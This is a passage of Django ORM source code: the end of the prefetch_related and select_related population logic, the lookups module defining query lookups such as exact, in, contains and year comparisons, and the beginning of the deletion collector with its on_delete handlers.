                                     (through_attr, first_obj.__class__.__name__, lookup.prefetch_through))

            if level == len(through_attrs) - 1 and prefetcher is None:
                # Last one, this *must* resolve to something that supports
                # prefetching, otherwise there is no point adding it and the
                # developer asking for it has made a mistake.
                raise ValueError("'%s' does not resolve to an item that supports "
                                 "prefetching - this is an invalid parameter to "
                                 "prefetch_related()." % lookup.prefetch_through)

            if prefetcher is not None and not is_fetched:
                obj_list, additional_lookups = prefetch_one_level(obj_list, prefetcher, lookup, level)
                # We need to ensure we don't keep adding lookups from the
                # same relationships to stop infinite recursion. So, if we
                # are already on an automatically added lookup, don't add
                # the new lookups from relationships we've seen already.
                if not (lookup in auto_lookups and descriptor in followed_descriptors):
                    done_queries[prefetch_to] = obj_list
                    new_lookups = normalize_prefetch_lookups(additional_lookups, prefetch_to)
                    auto_lookups.update(new_lookups)
                    all_lookups.extendleft(new_lookups)
                followed_descriptors.add(descriptor)
            else:
                # Either a singly related object that has already been fetched
                # (e.g. via select_related), or hopefully some other property
                # that doesn't support prefetching but needs to be traversed.

                # We replace the current list of parent objects with the list
                # of related objects, filtering out empty or missing values so
                # that we can continue with nullable or reverse relations.
                new_obj_list = []
                for obj in obj_list:
                    try:
                        new_obj = getattr(obj, through_attr)
                    except exceptions.ObjectDoesNotExist:
                        continue
                    if new_obj is None:
                        continue
                    # We special-case `list` rather than something more generic
                    # like `Iterable` because we don't want to accidentally match
                    # user models that define __iter__.
                    if isinstance(new_obj, list):
                        new_obj_list.extend(new_obj)
                    else:
                        new_obj_list.append(new_obj)
                obj_list = new_obj_list


def get_prefetcher(instance, through_attr, to_attr):
    """
    For the attribute 'through_attr' on the given instance, finds
    an object that has a get_prefetch_queryset().
    Returns a 4 tuple containing:
    (the object with get_prefetch_queryset (or None),
     the descriptor object representing this relationship (or None),
     a boolean that is False if the attribute was not found at all,
     a boolean that is True if the attribute has already been fetched)
    """
    prefetcher = None
    is_fetched = False

    # For singly related objects, we have to avoid getting the attribute
    # from the object, as this will trigger the query. So we first try
    # on the class, in order to get the descriptor object.
    rel_obj_descriptor = getattr(instance.__class__, through_attr, None)
    if rel_obj_descriptor is None:
        attr_found = hasattr(instance, through_attr)
    else:
        attr_found = True
        if rel_obj_descriptor:
            # singly related object, descriptor object has the
            # get_prefetch_queryset() method.
            if hasattr(rel_obj_descriptor, 'get_prefetch_queryset'):
                prefetcher = rel_obj_descriptor
                if rel_obj_descriptor.is_cached(instance):
                    is_fetched = True
            else:
                # descriptor doesn't support prefetching, so we go ahead and get
                # the attribute on the instance rather than the class to
                # support many related managers
                rel_obj = getattr(instance, through_attr)
                if hasattr(rel_obj, 'get_prefetch_queryset'):
                    prefetcher = rel_obj
                if through_attr != to_attr:
                    # Special case cached_property instances because hasattr
                    # triggers attribute computation and assignment.
                    if isinstance(getattr(instance.__class__, to_attr, None), cached_property):
                        is_fetched = to_attr in instance.__dict__
                    else:
                        is_fetched = hasattr(instance, to_attr)
                else:
                    is_fetched = through_attr in instance._prefetched_objects_cache
    return prefetcher, rel_obj_descriptor, attr_found, is_fetched


def prefetch_one_level(instances, prefetcher, lookup, level):
    """
    Helper function for prefetch_related_objects

    Runs prefetches on all instances using the prefetcher object,
    assigning results to relevant caches in instance.

    The prefetched objects are returned, along with any additional
    prefetches that must be done due to prefetch_related lookups
    found from default managers.
    """
    # prefetcher must have a method get_prefetch_queryset() which takes a list
    # of instances, and returns a tuple:

    # (queryset of instances of self.model that are related to passed in instances,
    #  callable that gets value to be matched for returned instances,
    #  callable that gets value to be matched for passed in instances,
    #  boolean that is True for singly related objects,
    #  cache name to assign to).

    # The 'values to be matched' must be hashable as they will be used
    # in a dictionary.

    rel_qs, rel_obj_attr, instance_attr, single, cache_name = (
        prefetcher.get_prefetch_queryset(instances, lookup.get_current_queryset(level)))
    # We have to handle the possibility that the QuerySet we just got back
    # contains some prefetch_related lookups. We don't want to trigger the
    # prefetch_related functionality by evaluating the query. Rather, we need
    # to merge in the prefetch_related lookups.
    # Copy the lookups in case it is a Prefetch object which could be reused
    # later (happens in nested prefetch_related).
    additional_lookups = [
        copy.copy(additional_lookup) for additional_lookup
        in getattr(rel_qs, '_prefetch_related_lookups', [])
    ]
    if additional_lookups:
        # Don't need to clone because the manager should have given us a fresh
        # instance, so we access an internal instead of using public interface
        # for performance reasons.
        rel_qs._prefetch_related_lookups = []

    all_related_objects = list(rel_qs)

    rel_obj_cache = {}
    for rel_obj in all_related_objects:
        rel_attr_val = rel_obj_attr(rel_obj)
        rel_obj_cache.setdefault(rel_attr_val, []).append(rel_obj)

    to_attr, as_attr = lookup.get_current_to_attr(level)
    # Make sure `to_attr` does not conflict with a field.
    if as_attr and instances:
        # We assume that objects retrieved are homogeneous (which is the premise
        # of prefetch_related), so what applies to first object applies to all.
        model = instances[0].__class__
        try:
            model._meta.get_field(to_attr)
        except exceptions.FieldDoesNotExist:
            pass
        else:
            msg = 'to_attr={} conflicts with a field on the {} model.'
            raise ValueError(msg.format(to_attr, model.__name__))

    # Whether or not we're prefetching the last part of the lookup.
    leaf = len(lookup.prefetch_through.split(LOOKUP_SEP)) - 1 == level

    for obj in instances:
        instance_attr_val = instance_attr(obj)
        vals = rel_obj_cache.get(instance_attr_val, [])

        if single:
            val = vals[0] if vals else None
            to_attr = to_attr if as_attr else cache_name
            setattr(obj, to_attr, val)
        else:
            if as_attr:
                setattr(obj, to_attr, vals)
            else:
                manager = getattr(obj, to_attr)
                if leaf and lookup.queryset is not None:
                    try:
                        apply_rel_filter = manager._apply_rel_filters
                    except AttributeError:
                        warnings.warn(
                            "The `%s.%s` class must implement a `_apply_rel_filters()` "
                            "method that accepts a `QuerySet` as its single "
                            "argument and returns an appropriately filtered version "
                            "of it." % (manager.__class__.__module__, manager.__class__.__name__),
                            RemovedInDjango20Warning,
                        )
                        qs = manager.get_queryset()
                    else:
                        qs = apply_rel_filter(lookup.queryset)
                else:
                    qs = manager.get_queryset()
                qs._result_cache = vals
                # We don't want the individual qs doing prefetch_related now,
                # since we have merged this into the current work.
                qs._prefetch_done = True
                obj._prefetched_objects_cache[cache_name] = qs
    return all_related_objects, additional_lookups


class RelatedPopulator(object):
    """
    RelatedPopulator is used for select_related() object instantiation.

    The idea is that each select_related() model will be populated by a
    different RelatedPopulator instance. The RelatedPopulator instances get
    klass_info and select (computed in SQLCompiler) plus the used db as
    input for initialization. That data is used to compute which columns
    to use, how to instantiate the model, and how to populate the links
    between the objects.

    The actual creation of the objects is done in populate() method. This
    method gets row and from_obj as input and populates the select_related()
    model instance.
    """
    def __init__(self, klass_info, select, db):
        self.db = db
        # Pre-compute needed attributes. The attributes are:
        #  - model_cls: the possibly deferred model class to instantiate
        #  - either:
        #    - cols_start, cols_end: usually the columns in the row are
        #      in the same order model_cls.__init__ expects them, so we
        #      can instantiate by model_cls(*row[cols_start:cols_end])
        #    - reorder_for_init: When select_related descends to a child
        #      class, then we want to reuse the already selected parent
        #      data. However, in this case the parent data isn't necessarily
        #      in the same order that Model.__init__ expects it to be, so
        #      we have to reorder the parent data. The reorder_for_init
        #      attribute contains a function used to reorder the field data
        #      in the order __init__ expects it.
        #  - pk_idx: the index of the primary key field in the reordered
        #    model data. Used to check if a related object exists at all.
        #  - init_list: the field attnames fetched from the database. For
        #    deferred models this isn't the same as all attnames of the
        #    model's fields.
        #  - related_populators: a list of RelatedPopulator instances if
        #    select_related() descends to related models from this model.
        #  - cache_name, reverse_cache_name: the names to use for setattr
        #    when assigning the fetched object to the from_obj. If the
        #    reverse_cache_name is set, then we also set the reverse link.
        select_fields = klass_info['select_fields']
        from_parent = klass_info['from_parent']
        if not from_parent:
            self.cols_start = select_fields[0]
            self.cols_end = select_fields[-1] + 1
            self.init_list = [
                f[0].target.attname for f in select[self.cols_start:self.cols_end]
            ]
            self.reorder_for_init = None
        else:
            model_init_attnames = [
                f.attname for f in klass_info['model']._meta.concrete_fields
            ]
            reorder_map = []
            for idx in select_fields:
                field = select[idx][0].target
                init_pos = model_init_attnames.index(field.attname)
                reorder_map.append((init_pos, field.attname, idx))
            reorder_map.sort()
            self.init_list = [v[1] for v in reorder_map]
            pos_list = [row_pos for _, _, row_pos in reorder_map]

            def reorder_for_init(row):
                return [row[row_pos] for row_pos in pos_list]
            self.reorder_for_init = reorder_for_init

        self.model_cls = klass_info['model']
        self.pk_idx = self.init_list.index(self.model_cls._meta.pk.attname)
        self.related_populators = get_related_populators(klass_info, select, self.db)
        field = klass_info['field']
        reverse = klass_info['reverse']
        self.reverse_cache_name = None
        if reverse:
            self.cache_name = field.remote_field.get_cache_name()
            self.reverse_cache_name = field.get_cache_name()
        else:
            self.cache_name = field.get_cache_name()
            if field.unique:
                self.reverse_cache_name = field.remote_field.get_cache_name()

    def populate(self, row, from_obj):
        if self.reorder_for_init:
            obj_data = self.reorder_for_init(row)
        else:
            obj_data = row[self.cols_start:self.cols_end]
        if obj_data[self.pk_idx] is None:
            obj = None
        else:
            obj = self.model_cls.from_db(self.db, self.init_list, obj_data)
        if obj and self.related_populators:
            for rel_iter in self.related_populators:
                rel_iter.populate(row, obj)
        setattr(from_obj, self.cache_name, obj)
        if obj and self.reverse_cache_name:
            setattr(obj, self.reverse_cache_name, from_obj)


def get_related_populators(klass_info, select, db):
    iterators = []
    related_klass_infos = klass_info.get('related_klass_infos', [])
    for rel_klass_info in related_klass_infos:
        rel_cls = RelatedPopulator(rel_klass_info, select, db)
        iterators.append(rel_cls)
    return iterators






import itertools
import math
import warnings
from copy import copy

from django.core.exceptions import EmptyResultSet
from django.db.models.expressions import Func, Value
from django.db.models.fields import DateTimeField, Field, IntegerField
from django.db.models.query_utils import RegisterLookupMixin
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.functional import cached_property
from django.utils.six.moves import range


class Lookup(object):
    lookup_name = None
    prepare_rhs = True

    def __init__(self, lhs, rhs):
        self.lhs, self.rhs = lhs, rhs
        self.rhs = self.get_prep_lookup()
        if hasattr(self.lhs, 'get_bilateral_transforms'):
            bilateral_transforms = self.lhs.get_bilateral_transforms()
        else:
            bilateral_transforms = []
        if bilateral_transforms:
            # Warn the user as soon as possible if they are trying to apply
            # a bilateral transformation on a nested QuerySet: that won't work.
            # We need to import QuerySet here so as to avoid circular
            from django.db.models.query import QuerySet
            if isinstance(rhs, QuerySet):
                raise NotImplementedError("Bilateral transformations on nested querysets are not supported.")
        self.bilateral_transforms = bilateral_transforms

    def apply_bilateral_transforms(self, value):
        for transform in self.bilateral_transforms:
            value = transform(value)
        return value

    def batch_process_rhs(self, compiler, connection, rhs=None):
        if rhs is None:
            rhs = self.rhs
        if self.bilateral_transforms:
            sqls, sqls_params = [], []
            for p in rhs:
                value = Value(p, output_field=self.lhs.output_field)
                value = self.apply_bilateral_transforms(value)
                value = value.resolve_expression(compiler.query)
                sql, sql_params = compiler.compile(value)
                sqls.append(sql)
                sqls_params.extend(sql_params)
        else:
            _, params = self.get_db_prep_lookup(rhs, connection)
            sqls, sqls_params = ['%s'] * len(params), params
        return sqls, sqls_params

    def get_prep_lookup(self):
        if hasattr(self.rhs, '_prepare'):
            return self.rhs._prepare(self.lhs.output_field)
        if self.prepare_rhs and hasattr(self.lhs.output_field, 'get_prep_value'):
            return self.lhs.output_field.get_prep_value(self.rhs)
        return self.rhs

    def get_db_prep_lookup(self, value, connection):
        return ('%s', [value])

    def process_lhs(self, compiler, connection, lhs=None):
        lhs = lhs or self.lhs
        return compiler.compile(lhs)

    def process_rhs(self, compiler, connection):
        value = self.rhs
        if self.bilateral_transforms:
            if self.rhs_is_direct_value():
                # Do not call get_db_prep_lookup here as the value will be
                # transformed before being used for lookup
                value = Value(value, output_field=self.lhs.output_field)
            value = self.apply_bilateral_transforms(value)
            value = value.resolve_expression(compiler.query)
        # Due to historical reasons there are a couple of different
        # ways to produce sql here. get_compiler is likely a Query
        # instance, _as_sql QuerySet and as_sql just something with
        # as_sql. Finally the value can of course be just plain
        # Python value.
        if hasattr(value, 'get_compiler'):
            value = value.get_compiler(connection=connection)
        if hasattr(value, 'as_sql'):
            sql, params = compiler.compile(value)
            return '(' + sql + ')', params
        if hasattr(value, '_as_sql'):
            sql, params = value._as_sql(connection=connection)
            return '(' + sql + ')', params
        else:
            return self.get_db_prep_lookup(value, connection)

    def rhs_is_direct_value(self):
        return not(
            hasattr(self.rhs, 'as_sql') or
            hasattr(self.rhs, '_as_sql') or
            hasattr(self.rhs, 'get_compiler'))

    def relabeled_clone(self, relabels):
        new = copy(self)
        new.lhs = new.lhs.relabeled_clone(relabels)
        if hasattr(new.rhs, 'relabeled_clone'):
            new.rhs = new.rhs.relabeled_clone(relabels)
        return new

    def get_group_by_cols(self):
        cols = self.lhs.get_group_by_cols()
        if hasattr(self.rhs, 'get_group_by_cols'):
            cols.extend(self.rhs.get_group_by_cols())
        return cols

    def as_sql(self, compiler, connection):
        raise NotImplementedError

    @cached_property
    def contains_aggregate(self):
        return self.lhs.contains_aggregate or getattr(self.rhs, 'contains_aggregate', False)


class Transform(RegisterLookupMixin, Func):
    """
    RegisterLookupMixin() is first so that get_lookup() and get_transform()
    first examine self and then check output_field.
    """
    bilateral = False
    arity = 1

    @property
    def lhs(self):
        return self.get_source_expressions()[0]

    def get_bilateral_transforms(self):
        if hasattr(self.lhs, 'get_bilateral_transforms'):
            bilateral_transforms = self.lhs.get_bilateral_transforms()
        else:
            bilateral_transforms = []
        if self.bilateral:
            bilateral_transforms.append(self.__class__)
        return bilateral_transforms


class BuiltinLookup(Lookup):
    def process_lhs(self, compiler, connection, lhs=None):
        lhs_sql, params = super(BuiltinLookup, self).process_lhs(
            compiler, connection, lhs)
        field_internal_type = self.lhs.output_field.get_internal_type()
        db_type = self.lhs.output_field.db_type(connection=connection)
        lhs_sql = connection.ops.field_cast_sql(
            db_type, field_internal_type) % lhs_sql
        lhs_sql = connection.ops.lookup_cast(self.lookup_name, field_internal_type) % lhs_sql
        return lhs_sql, list(params)

    def as_sql(self, compiler, connection):
        lhs_sql, params = self.process_lhs(compiler, connection)
        rhs_sql, rhs_params = self.process_rhs(compiler, connection)
        params.extend(rhs_params)
        rhs_sql = self.get_rhs_op(connection, rhs_sql)
        return '%s %s' % (lhs_sql, rhs_sql), params

    def get_rhs_op(self, connection, rhs):
        return connection.operators[self.lookup_name] % rhs


class FieldGetDbPrepValueMixin(object):
    """
    Some lookups require Field.get_db_prep_value() to be called on their
    inputs.
    """
    get_db_prep_lookup_value_is_iterable = False

    @classmethod
    def get_prep_lookup_value(cls, value, output_field):
        if hasattr(value, '_prepare'):
            return value._prepare(output_field)
        return output_field.get_prep_value(value)

    def get_db_prep_lookup(self, value, connection):
        # For relational fields, use the output_field of the 'field' attribute.
        field = getattr(self.lhs.output_field, 'field', None)
        get_db_prep_value = getattr(field, 'get_db_prep_value', None)
        if not get_db_prep_value:
            get_db_prep_value = self.lhs.output_field.get_db_prep_value
        return (
            '%s',
            [get_db_prep_value(v, connection, prepared=True) for v in value]
            if self.get_db_prep_lookup_value_is_iterable else
            [get_db_prep_value(value, connection, prepared=True)]
        )


class FieldGetDbPrepValueIterableMixin(FieldGetDbPrepValueMixin):
    """
    Some lookups require Field.get_db_prep_value() to be called on each value
    in an iterable.
    """
    get_db_prep_lookup_value_is_iterable = True

    def get_prep_lookup(self):
        prepared_values = []
        if hasattr(self.rhs, '_prepare'):
            # A subquery is like an iterable but its items shouldn't be
            # prepared independently.
            return self.rhs._prepare(self.lhs.output_field)
        for rhs_value in self.rhs:
            if hasattr(rhs_value, 'resolve_expression'):
                # An expression will be handled by the database but can coexist
                # alongside real values.
                pass
            elif self.prepare_rhs and hasattr(self.lhs.output_field, 'get_prep_value'):
                rhs_value = self.lhs.output_field.get_prep_value(rhs_value)
            prepared_values.append(rhs_value)
        return prepared_values

    def process_rhs(self, compiler, connection):
        if self.rhs_is_direct_value():
            # rhs should be an iterable of values. Use batch_process_rhs()
            # to prepare/transform those values.
            return self.batch_process_rhs(compiler, connection)
        else:
            return super(FieldGetDbPrepValueIterableMixin, self).process_rhs(compiler, connection)

    def resolve_expression_parameter(self, compiler, connection, sql, param):
        params = [param]
        if hasattr(param, 'resolve_expression'):
            param = param.resolve_expression(compiler.query)
        if hasattr(param, 'as_sql'):
            sql, params = param.as_sql(compiler, connection)
        return sql, params

    def batch_process_rhs(self, compiler, connection, rhs=None):
        pre_processed = super(FieldGetDbPrepValueIterableMixin, self).batch_process_rhs(compiler, connection, rhs)
        # The params list may contain expressions which compile to a
        # sql/param pair. Zip them to get sql and param pairs that refer to the
        # same argument and attempt to replace them with the result of
        # compiling the param step.
        sql, params = zip(*(
            self.resolve_expression_parameter(compiler, connection, sql, param)
            for sql, param in zip(*pre_processed)
        ))
        params = itertools.chain.from_iterable(params)
        return sql, tuple(params)


class Exact(FieldGetDbPrepValueMixin, BuiltinLookup):
    lookup_name = 'exact'
Field.register_lookup(Exact)


class IExact(BuiltinLookup):
    lookup_name = 'iexact'
    prepare_rhs = False

    def process_rhs(self, qn, connection):
        rhs, params = super(IExact, self).process_rhs(qn, connection)
        if params:
            params[0] = connection.ops.prep_for_iexact_query(params[0])
        return rhs, params


Field.register_lookup(IExact)


class GreaterThan(FieldGetDbPrepValueMixin, BuiltinLookup):
    lookup_name = 'gt'
Field.register_lookup(GreaterThan)


class GreaterThanOrEqual(FieldGetDbPrepValueMixin, BuiltinLookup):
    lookup_name = 'gte'
Field.register_lookup(GreaterThanOrEqual)


class LessThan(FieldGetDbPrepValueMixin, BuiltinLookup):
    lookup_name = 'lt'
Field.register_lookup(LessThan)


class LessThanOrEqual(FieldGetDbPrepValueMixin, BuiltinLookup):
    lookup_name = 'lte'
Field.register_lookup(LessThanOrEqual)


class IntegerFieldFloatRounding(object):
    """
    Allow floats to work as query values for IntegerField. Without this, the
    decimal portion of the float would always be discarded.
    """
    def get_prep_lookup(self):
        if isinstance(self.rhs, float):
            self.rhs = math.ceil(self.rhs)
        return super(IntegerFieldFloatRounding, self).get_prep_lookup()


class IntegerGreaterThanOrEqual(IntegerFieldFloatRounding, GreaterThanOrEqual):
    pass
IntegerField.register_lookup(IntegerGreaterThanOrEqual)


class IntegerLessThan(IntegerFieldFloatRounding, LessThan):
    pass
IntegerField.register_lookup(IntegerLessThan)


class In(FieldGetDbPrepValueIterableMixin, BuiltinLookup):
    lookup_name = 'in'

    def process_rhs(self, compiler, connection):
        db_rhs = getattr(self.rhs, '_db', None)
        if db_rhs is not None and db_rhs != connection.alias:
            raise ValueError(
                "Subqueries aren't allowed across different databases. Force "
                "the inner query to be evaluated using `list(inner_query)`."
            )

        if self.rhs_is_direct_value():
            try:
                rhs = set(self.rhs)
            except TypeError:  # Unhashable items in self.rhs
                rhs = self.rhs

            if not rhs:
                raise EmptyResultSet

            # rhs should be an iterable; use batch_process_rhs() to
            # prepare/transform those values.
            sqls, sqls_params = self.batch_process_rhs(compiler, connection, rhs)
            placeholder = '(' + ', '.join(sqls) + ')'
            return (placeholder, sqls_params)
        else:
            return super(In, self).process_rhs(compiler, connection)

    def get_rhs_op(self, connection, rhs):
        return 'IN %s' % rhs

    def as_sql(self, compiler, connection):
        max_in_list_size = connection.ops.max_in_list_size()
        if self.rhs_is_direct_value() and max_in_list_size and len(self.rhs) > max_in_list_size:
            return self.split_parameter_list_as_sql(compiler, connection)
        return super(In, self).as_sql(compiler, connection)

    def split_parameter_list_as_sql(self, compiler, connection):
        # This is a special case for databases which limit the number of
        # elements which can appear in an 'IN' clause.
        max_in_list_size = connection.ops.max_in_list_size()
        lhs, lhs_params = self.process_lhs(compiler, connection)
        rhs, rhs_params = self.batch_process_rhs(compiler, connection)
        in_clause_elements = ['(']
        params = []
        for offset in range(0, len(rhs_params), max_in_list_size):
            if offset > 0:
                in_clause_elements.append(' OR ')
            in_clause_elements.append('%s IN (' % lhs)
            params.extend(lhs_params)
            sqls = rhs[offset: offset + max_in_list_size]
            sqls_params = rhs_params[offset: offset + max_in_list_size]
            param_group = ', '.join(sqls)
            in_clause_elements.append(param_group)
            in_clause_elements.append(')')
            params.extend(sqls_params)
        in_clause_elements.append(')')
        return ''.join(in_clause_elements), params
Field.register_lookup(In)


class PatternLookup(BuiltinLookup):

    def get_rhs_op(self, connection, rhs):
        # Assume we are in startswith. We need to produce SQL like:
        #     col LIKE %s, ['thevalue%']
        # For python values we can (and should) do that directly in Python,
        # but if the value is for example reference to other column, then
        # we need to add the % pattern match to the lookup by something like
        #     col LIKE othercol || '%%'
        # So, for Python values we don't need any special pattern, but for
        # SQL reference values or SQL transformations we need the correct
        # pattern added.
        if (hasattr(self.rhs, 'get_compiler') or hasattr(self.rhs, 'as_sql') or
                hasattr(self.rhs, '_as_sql') or self.bilateral_transforms):
            pattern = connection.pattern_ops[self.lookup_name].format(connection.pattern_esc)
            return pattern.format(rhs)
        else:
            return super(PatternLookup, self).get_rhs_op(connection, rhs)


class Contains(PatternLookup):
    lookup_name = 'contains'
    prepare_rhs = False

    def process_rhs(self, qn, connection):
        rhs, params = super(Contains, self).process_rhs(qn, connection)
        if params and not self.bilateral_transforms:
            params[0] = "%%%s%%" % connection.ops.prep_for_like_query(params[0])
        return rhs, params
Field.register_lookup(Contains)


class IContains(Contains):
    lookup_name = 'icontains'
    prepare_rhs = False
Field.register_lookup(IContains)


class StartsWith(PatternLookup):
    lookup_name = 'startswith'
    prepare_rhs = False

    def process_rhs(self, qn, connection):
        rhs, params = super(StartsWith, self).process_rhs(qn, connection)
        if params and not self.bilateral_transforms:
            params[0] = "%s%%" % connection.ops.prep_for_like_query(params[0])
        return rhs, params
Field.register_lookup(StartsWith)


class IStartsWith(PatternLookup):
    lookup_name = 'istartswith'
    prepare_rhs = False

    def process_rhs(self, qn, connection):
        rhs, params = super(IStartsWith, self).process_rhs(qn, connection)
        if params and not self.bilateral_transforms:
            params[0] = "%s%%" % connection.ops.prep_for_like_query(params[0])
        return rhs, params
Field.register_lookup(IStartsWith)


class EndsWith(PatternLookup):
    lookup_name = 'endswith'
    prepare_rhs = False

    def process_rhs(self, qn, connection):
        rhs, params = super(EndsWith, self).process_rhs(qn, connection)
        if params and not self.bilateral_transforms:
            params[0] = "%%%s" % connection.ops.prep_for_like_query(params[0])
        return rhs, params
Field.register_lookup(EndsWith)


class IEndsWith(PatternLookup):
    lookup_name = 'iendswith'
    prepare_rhs = False

    def process_rhs(self, qn, connection):
        rhs, params = super(IEndsWith, self).process_rhs(qn, connection)
        if params and not self.bilateral_transforms:
            params[0] = "%%%s" % connection.ops.prep_for_like_query(params[0])
        return rhs, params
Field.register_lookup(IEndsWith)


class Range(FieldGetDbPrepValueIterableMixin, BuiltinLookup):
    lookup_name = 'range'

    def get_rhs_op(self, connection, rhs):
        return "BETWEEN %s AND %s" % (rhs[0], rhs[1])

Field.register_lookup(Range)


class IsNull(BuiltinLookup):
    lookup_name = 'isnull'
    prepare_rhs = False

    def as_sql(self, compiler, connection):
        sql, params = compiler.compile(self.lhs)
        if self.rhs:
            return "%s IS NULL" % sql, params
        else:
            return "%s IS NOT NULL" % sql, params
Field.register_lookup(IsNull)


class Search(BuiltinLookup):
    lookup_name = 'search'
    prepare_rhs = False

    def as_sql(self, compiler, connection):
        warnings.warn(
            'The `__search` lookup is deprecated. See the 1.10 release notes '
            'for how to replace it.', RemovedInDjango20Warning, stacklevel=2
        )
        lhs, lhs_params = self.process_lhs(compiler, connection)
        rhs, rhs_params = self.process_rhs(compiler, connection)
        sql_template = connection.ops.fulltext_search_sql(field_name=lhs)
        return sql_template, lhs_params + rhs_params
Field.register_lookup(Search)


class Regex(BuiltinLookup):
    lookup_name = 'regex'
    prepare_rhs = False

    def as_sql(self, compiler, connection):
        if self.lookup_name in connection.operators:
            return super(Regex, self).as_sql(compiler, connection)
        else:
            lhs, lhs_params = self.process_lhs(compiler, connection)
            rhs, rhs_params = self.process_rhs(compiler, connection)
            sql_template = connection.ops.regex_lookup(self.lookup_name)
            return sql_template % (lhs, rhs), lhs_params + rhs_params
Field.register_lookup(Regex)


class IRegex(Regex):
    lookup_name = 'iregex'
Field.register_lookup(IRegex)


class YearLookup(Lookup):
    def year_lookup_bounds(self, connection, year):
        output_field = self.lhs.lhs.output_field
        if isinstance(output_field, DateTimeField):
            bounds = connection.ops.year_lookup_bounds_for_datetime_field(year)
        else:
            bounds = connection.ops.year_lookup_bounds_for_date_field(year)
        return bounds


class YearComparisonLookup(YearLookup):
    def as_sql(self, compiler, connection):
        # We will need to skip the extract part and instead go
        # directly with the originating field, that is self.lhs.lhs.
        lhs_sql, params = self.process_lhs(compiler, connection, self.lhs.lhs)
        rhs_sql, rhs_params = self.process_rhs(compiler, connection)
        rhs_sql = self.get_rhs_op(connection, rhs_sql)
        start, finish = self.year_lookup_bounds(connection, rhs_params[0])
        params.append(self.get_bound(start, finish))
        return '%s %s' % (lhs_sql, rhs_sql), params

    def get_rhs_op(self, connection, rhs):
        return connection.operators[self.lookup_name] % rhs

    def get_bound(self):
        raise NotImplementedError(
            'subclasses of YearComparisonLookup must provide a get_bound() method'
        )


class YearExact(YearLookup, Exact):
    lookup_name = 'exact'

    def as_sql(self, compiler, connection):
        # We will need to skip the extract part and instead go
        # directly with the originating field, that is self.lhs.lhs.
        lhs_sql, params = self.process_lhs(compiler, connection, self.lhs.lhs)
        rhs_sql, rhs_params = self.process_rhs(compiler, connection)
        try:
            # Check that rhs_params[0] exists (IndexError),
            # it isn't None (TypeError), and is a number (ValueError)
            int(rhs_params[0])
        except (IndexError, TypeError, ValueError):
            # Can't determine the bounds before executing the query, so skip
            # optimizations by falling back to a standard exact comparison.
            return super(Exact, self).as_sql(compiler, connection)
        bounds = self.year_lookup_bounds(connection, rhs_params[0])
        params.extend(bounds)
        return '%s BETWEEN %%s AND %%s' % lhs_sql, params


class YearGt(YearComparisonLookup):
    lookup_name = 'gt'

    def get_bound(self, start, finish):
        return finish


class YearGte(YearComparisonLookup):
    lookup_name = 'gte'

    def get_bound(self, start, finish):
        return start


class YearLt(YearComparisonLookup):
    lookup_name = 'lt'

    def get_bound(self, start, finish):
        return start


class YearLte(YearComparisonLookup):
    lookup_name = 'lte'

    def get_bound(self, start, finish):
        return finish






from collections import Counter, OrderedDict
from operator import attrgetter

from django.db import IntegrityError, connections, transaction
from django.db.models import signals, sql
from django.utils import six


class ProtectedError(IntegrityError):
    def __init__(self, msg, protected_objects):
        self.protected_objects = protected_objects
        super(ProtectedError, self).__init__(msg, protected_objects)


def CASCADE(collector, field, sub_objs, using):
    collector.collect(sub_objs, source=field.remote_field.model,
                      source_attr=field.name, nullable=field.null)
    if field.null and not connections[using].features.can_defer_constraint_checks:
        collector.add_field_update(field, None, sub_objs)


def PROTECT(collector, field, sub_objs, using):
    raise ProtectedError(
        "Cannot delete some instances of model '%s' because they are "
        "referenced through a protected foreign key: '%s.%s'" % (
            field.remote_field.model.__name__, sub_objs[0].__class__.__name__, field.name
        ),
        sub_objs
    )


def SET(value):
    if callable(value):
        def set_on_delete(collector, field, sub_objs, using):
            collector.add_field_update(field, value(), sub_objs)
    else:
        def set_on_delete(collector, field, sub_objs, using):
            collector.add_field_update(field, value, sub_objs)
    set_on_delete.deconstruct = lambda: ('django.db.models.SET', (value,), {})
    return set_on_delete


def SET_NULL(collector, field, sub_objs, using):
    collector.add_field_update(field, None, sub_objs)


def SET_DEFAULT(collector, field, sub_objs, using):
    collector.add_field_update(field, field.get_default(), sub_objs)


def DO_NOTHING(collector, field, sub_objs, using):
    pass


def get_candidate_relations_to_delete(opts):
    # The candidate relations are the ones that come from N-1 and 1-1 relations.
    # N-N  (i.e., many-to-many) relations aren't candidates for deletion.
    return (
        f for f in opts.get_fields(include_hidden=True)
        if f.auto_created and not f.concrete and (f.one_to_one or f.one_to_many)
    )


class Collector(object):
    def __init__(self, using):
        self.using = using
        # Initially, {model: {instances}}, later values become lists.
        self.data = OrderedDict()
        self.field_updates = {}  # {model: {(field, value): {instances}}}
        # fast_deletes is a list of queryset-likes that can be deleted without
        # fetching the objects into memory.
        self.fast_deletes = []

        # Tracks deletion-order dependency for databases without transactions
        # or ability to defer constraint checks. Only concrete model classes
        # should be included, as the dependencies exist only between actual
        # database tables; proxy models are represented here by their concrete
        # parent.
        self.dependencies = {}  # {model: {models}}

    def add(self, objs, source=None, nullable=False, reverse_dependency=False):
        """
        Adds 'objs' to the collection of objects to be deleted.  If the call is
        the result of a cascade, 'source' should be the model that caused it,
        and 'nullable' should be set to True if the relation can be null.

        Returns a list of all objects that were not already collected.
        """
        if not objs:
            return []
        new_objs = []
        model = objs[0].__class__
        instances = self.data.setdefault(model, set())
        for obj in objs:
            if obj not in instances:
                new_objs.append(obj)
        instances.update(new_objs)
        # Nullable relationships can be ignored -- they are nulled out before
        # deleting, and therefore do not affect the order in which objects have
        # to be deleted.
        if source is not None and not nullable:
            if reverse_dependency:
                source, model = model, source
            self.dependencies.setdefault(
                source._meta.concrete_model, set()).add(model._meta.concrete_model)
        return new_objs

    def add_field_update(self, field, value, objs):
        """
        Schedules a field update. 'objs' must be a homogeneous iterable
        collection of model instances (e.g. a QuerySet).
        """
        if not objs:
            return
        model = objs[0].__class__
        self.field_updates.setdefault(
            model, {}).setdefault(
            (field, value), set()).update(objs)

    def can_fast_delete(self, objs, from_field=None):
        """
        Determines if the objects in the given queryset-like can be
        fast-deleted. This can be done if there are no cascades, no
        parents and no signal listeners for the object class.

        The 'from_field' tells where we are coming from - we need this to
        determine if the objects are in fact to be deleted. Allows also
        skipping parent -> child -> parent chain preventing fast delete of
        the child.
        """
        if from_field and from_field.remote_field.on_delete is not CASCADE:
            return False
        if not (hasattr(objs, 'model') and hasattr(objs, '_raw_delete')):
            return False
        model = objs.model
        if (signals.pre_delete.has_listeners(model) or
                signals.post_delete.has_listeners(model) or
